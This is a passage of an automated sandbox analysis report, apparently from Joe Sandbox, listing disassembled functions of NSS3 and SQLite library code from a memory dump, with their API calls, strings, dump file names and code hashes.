SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEB7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CEB8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CEB8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEB8093
SECOID_FindOID_Util.NSS3 ref: 6CEB7F29

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEB8072
SECOID_FindOID_Util.NSS3 ref: 6CEB80F5

Part of subcall function 6CEBBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CEB800A,00000000,?,00000000,?), ref: 6CEBBC3F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 2fb18f5f7134540dc36fb5086114e96ebaa54b053cf2da98a2e2a60071fe12ef
Instruction ID: 5e234b9befc2d7c1d52de88c827b75ed7af8f491d4f8349924212130d83311c4
Opcode Fuzzy Hash: 2fb18f5f7134540dc36fb5086114e96ebaa54b053cf2da98a2e2a60071fe12ef
Instruction Fuzzy Hash: 29E190716083019FE710CF28DA80B6A77F5AF4534CF24496DE99AABB51E731EC05CB62

Function 6CE41C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE41C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE41C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE41CA1
GetLengthSid.ADVAPI32(?), ref: 6CE41CA9
malloc.MOZGLUE(00000000), ref: 6CE41CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE41CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE41CE4
GetLengthSid.ADVAPI32(?), ref: 6CE41CEC
malloc.MOZGLUE(00000000), ref: 6CE41CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE41D0F
CloseHandle.KERNEL32(?), ref: 6CE41D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE41D4D
GetLastError.KERNEL32 ref: 6CE41D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE41D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE41D7A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 01dc930013e4dc746a5c0cb317081e32def7e503487553dbf6478b6fb78e2d3a
Instruction ID: 530097603c5e678263324d3681c0a27311751b506cb82df86fe5cdc275d47358
Opcode Fuzzy Hash: 01dc930013e4dc746a5c0cb317081e32def7e503487553dbf6478b6fb78e2d3a
Instruction Fuzzy Hash: FC3162B1E10218DFEF519FA4DC48BAABBB8EF49345F008065F60992250EB315994CF65

Function 6CE43D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE43DFB
__allrem.LIBCMT ref: 6CE43EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE43FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE44047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE4415F
__allrem.LIBCMT ref: 6CE4416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE44288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE442AB
__allrem.LIBCMT ref: 6CE442B7

Strings

%02d, xrefs: 6CE44086
%lld, xrefs: 6CE43FB2
%04d, xrefs: 6CE4407B
%03d, xrefs: 6CE442E8

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: cf89f73c4825ce57d539fb1ddcadec9b947f2dd680c87e3a7936a109fe604c46
Instruction ID: ead4740960c15910476295fa3c6611dd410ea978445fa03561faeebea80e4e4d
Opcode Fuzzy Hash: cf89f73c4825ce57d539fb1ddcadec9b947f2dd680c87e3a7936a109fe604c46
Instruction Fuzzy Hash: 2FF1F3B1A087409FD715CF38D841BAAB7F6AF86348F24CA1EE49597B51E730D846CB42

Function 6CE4EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4EF63

Part of subcall function 6CE587D0: PORT_NewArena_Util.NSS3(00000800,6CE4EF74,00000000), ref: 6CE587E8
Part of subcall function 6CE587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE4EF74,00000000), ref: 6CE587FD
Part of subcall function 6CE587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE5884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE4F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE4F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE4F374
PL_strcasecmp.NSS3(6CF92FD4,?), ref: 6CE4F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE4F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE4F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE4F67D
CERT_DestroyName.NSS3(?), ref: 6CE4F68B

Part of subcall function 6CE58320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE58338
Part of subcall function 6CE58320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE58364
Part of subcall function 6CE58320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE5838E
Part of subcall function 6CE58320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE583A5
Part of subcall function 6CE58320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE583E3

Part of subcall function 6CE584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE584D9
Part of subcall function 6CE584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE58528

Part of subcall function 6CE58900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CE58955

Strings

", xrefs: 6CE4F21B
*, xrefs: 6CE4F3C6
oid., xrefs: 6CE4F2CF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 1a962e8c256fc898f856d4c01dccfa53a55e96430fb76da76d7f1b0b771355d1
Instruction ID: 365425d03d65906671a7afd133cec0dda22637ed9bc0eb5721e8fa727f8ddd3a
Opcode Fuzzy Hash: 1a962e8c256fc898f856d4c01dccfa53a55e96430fb76da76d7f1b0b771355d1
Instruction Fuzzy Hash: 23221871A083508FD710CE18E49076AB7F6ABC5B1CF28C66EE49587B91E7399C06C793

Function 6CDF1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDF1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CDF1FB7

Strings

no more rows available, xrefs: 6CDF2264
unknown error, xrefs: 6CDF2291
table, xrefs: 6CDF1C8B
unsupported file format, xrefs: 6CDF2188
sqlite_master, xrefs: 6CDF1C61
abort due to ROLLBACK, xrefs: 6CDF2223
attached databases must use the same text encoding as main database, xrefs: 6CDF20CA
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CDF1F83
another row available, xrefs: 6CDF2287
sqlite_temp_master, xrefs: 6CDF1C5C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: fea6605191ce6101f85a7600e87479e90219f282b281665335053581cb1580a5
Instruction ID: 04a07a68243f27dbbd830eb639b4f1c75f9460c638865d266a4c95eba51931fd
Opcode Fuzzy Hash: fea6605191ce6101f85a7600e87479e90219f282b281665335053581cb1580a5
Instruction Fuzzy Hash: AD12E171608381CFD705CF19C48465ABBF2BF8531CF1A855DE8A58BB61D731E846CB92

Function 6CE15F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

ON clause references tables to its right, xrefs: 6CE16BEC
2, xrefs: 6CE165B4
BINARY, xrefs: 6CE18708, 6CE18737, 6CE187B8
sub-select returns %d columns - expected %d, xrefs: 6CE1805F
NOCASE, xrefs: 6CE18703
u, xrefs: 6CE181DA
-, xrefs: 6CE16228
-, xrefs: 6CE162F9

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 16536bf41bc069d0be191280cea3a8f4e6bdbc966ed3faa2790b3d277b6d6b02
Instruction ID: 5cf5701acc178fd471b08cc4b39e168a4834e030f010438d7672532720a7402d
Opcode Fuzzy Hash: 16536bf41bc069d0be191280cea3a8f4e6bdbc966ed3faa2790b3d277b6d6b02
Instruction Fuzzy Hash: 2A439074A0C3418FD314CF19C490A5ABBF6FF89718F258A5DE8998BB51D730E856CB82

Function 6CEBEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEBDAE2,?), ref: 6CEBC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CEBF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CF8218C), ref: 6CEBF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CEBF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEBF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CEBF210

Part of subcall function 6CE652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CEBF1E9,?,00000000,?,?), ref: 6CE652F5
Part of subcall function 6CE652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE6530F
Part of subcall function 6CE652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE65326
Part of subcall function 6CE652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CEBF1E9,?,00000000,?,?), ref: 6CE65340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBF227

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CEBF23E

Part of subcall function 6CEABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEBF3A8

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEBF3B3

Part of subcall function 6CE62D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE62D3C
Part of subcall function 6CE62D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE62D5F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: f3831f22d085552abfa969a08ecd37c2b6aba707050c395cefd909e3f760d09a
Instruction ID: 9b1bbc5ee4ed04dc8867e2428cb5e9664db228fe00574b82a477abe622482bb6
Opcode Fuzzy Hash: f3831f22d085552abfa969a08ecd37c2b6aba707050c395cefd909e3f760d09a
Instruction Fuzzy Hash: 62D17FBAE016059FDB14CF99DA80AAEB7F5EF4830CF258029D915B7711EB35E806CB50

Function 6CEEDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002,00000000,?,6CEC7FFA,00000002), ref: 6CEEDE33

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CEED000: PORT_ZAlloc_Util.NSS3(00000108,?,6CEEDE74,6CEC7FFA,00000002,?,?,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002), ref: 6CEED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEC7FFA,00000000,?,6CEF23B9,00000002,00000000,?,6CEC7FFA,00000002), ref: 6CEEDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CEEDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEEE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEEE121
PK11_FreeSymKey.NSS3(?), ref: 6CEEE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CEEE195
PR_GetCurrentThread.NSS3 ref: 6CEEE1FC

Part of subcall function 6CEE2460: PR_SetError.NSS3(FFFFE005,00000000,6CF87379,00000002,?), ref: 6CEE2493

Strings

key, xrefs: 6CEEE046
application data, xrefs: 6CEEDFE0
handshake data, xrefs: 6CEEDFF7
early application data, xrefs: 6CEEDFC9

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 27012434578c5deca7ef39429982f3b75d169de13dafa15446cb799c48951d9b
Instruction ID: 5e3294657da2b519b69c3b3b54d53ffd704c086060d66e47b02d6431f9e0e54a
Opcode Fuzzy Hash: 27012434578c5deca7ef39429982f3b75d169de13dafa15446cb799c48951d9b
Instruction Fuzzy Hash: 85C11375B006059BDB04CF69CC80BAAB7B5FF4D348F244139E9099BB91E331EA55CBA1

Function 6CDDECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CDDEF98

Strings

%s at line %d of [%.10s], xrefs: 6CDDF492
database corruption, xrefs: 6CDDF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDF483

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: cf745d471dd2ffa6ef2bd917934db2616e0e89ebbc91e88ab123d6d836f69006
Instruction ID: 9acbb4dcf16085298dba94dabf07caf54263b0753e0a200fb4e18c1204a14914
Opcode Fuzzy Hash: cf745d471dd2ffa6ef2bd917934db2616e0e89ebbc91e88ab123d6d836f69006
Instruction Fuzzy Hash: 2A62E271E04245CFDB14CF69C880BAABBB1BF49318F1A419DD8455BBA2D735F886CB90

Function 6CE77D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE77DDC

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE77DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE77F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE77F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE77F98
PK11_FreeSymKey.NSS3(?), ref: 6CE77FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE77FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE78000

Part of subcall function 6CE99430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE77F0C,?,00000000,00000000,00000000,?), ref: 6CE9943B
Part of subcall function 6CE99430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CE9946B
Part of subcall function 6CE99430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CE99546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE78110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE7811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE7822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE7823C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: a895c9d51ea3b287792214044a0a103cd5fbcba232fe220d05db47e7d695a055
Instruction ID: 153f385d545bdd642c1c1618a5e98b15ae856159044815e939d051a5b7c4c99a
Opcode Fuzzy Hash: a895c9d51ea3b287792214044a0a103cd5fbcba232fe220d05db47e7d695a055
Instruction Fuzzy Hash: 50C16BB1D002599FEB71CF14CC44BEAB7B8EB15348F1085EAE909B6641E7319E85CFA1

Function 6CE80EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CE80F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE80FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CE81006
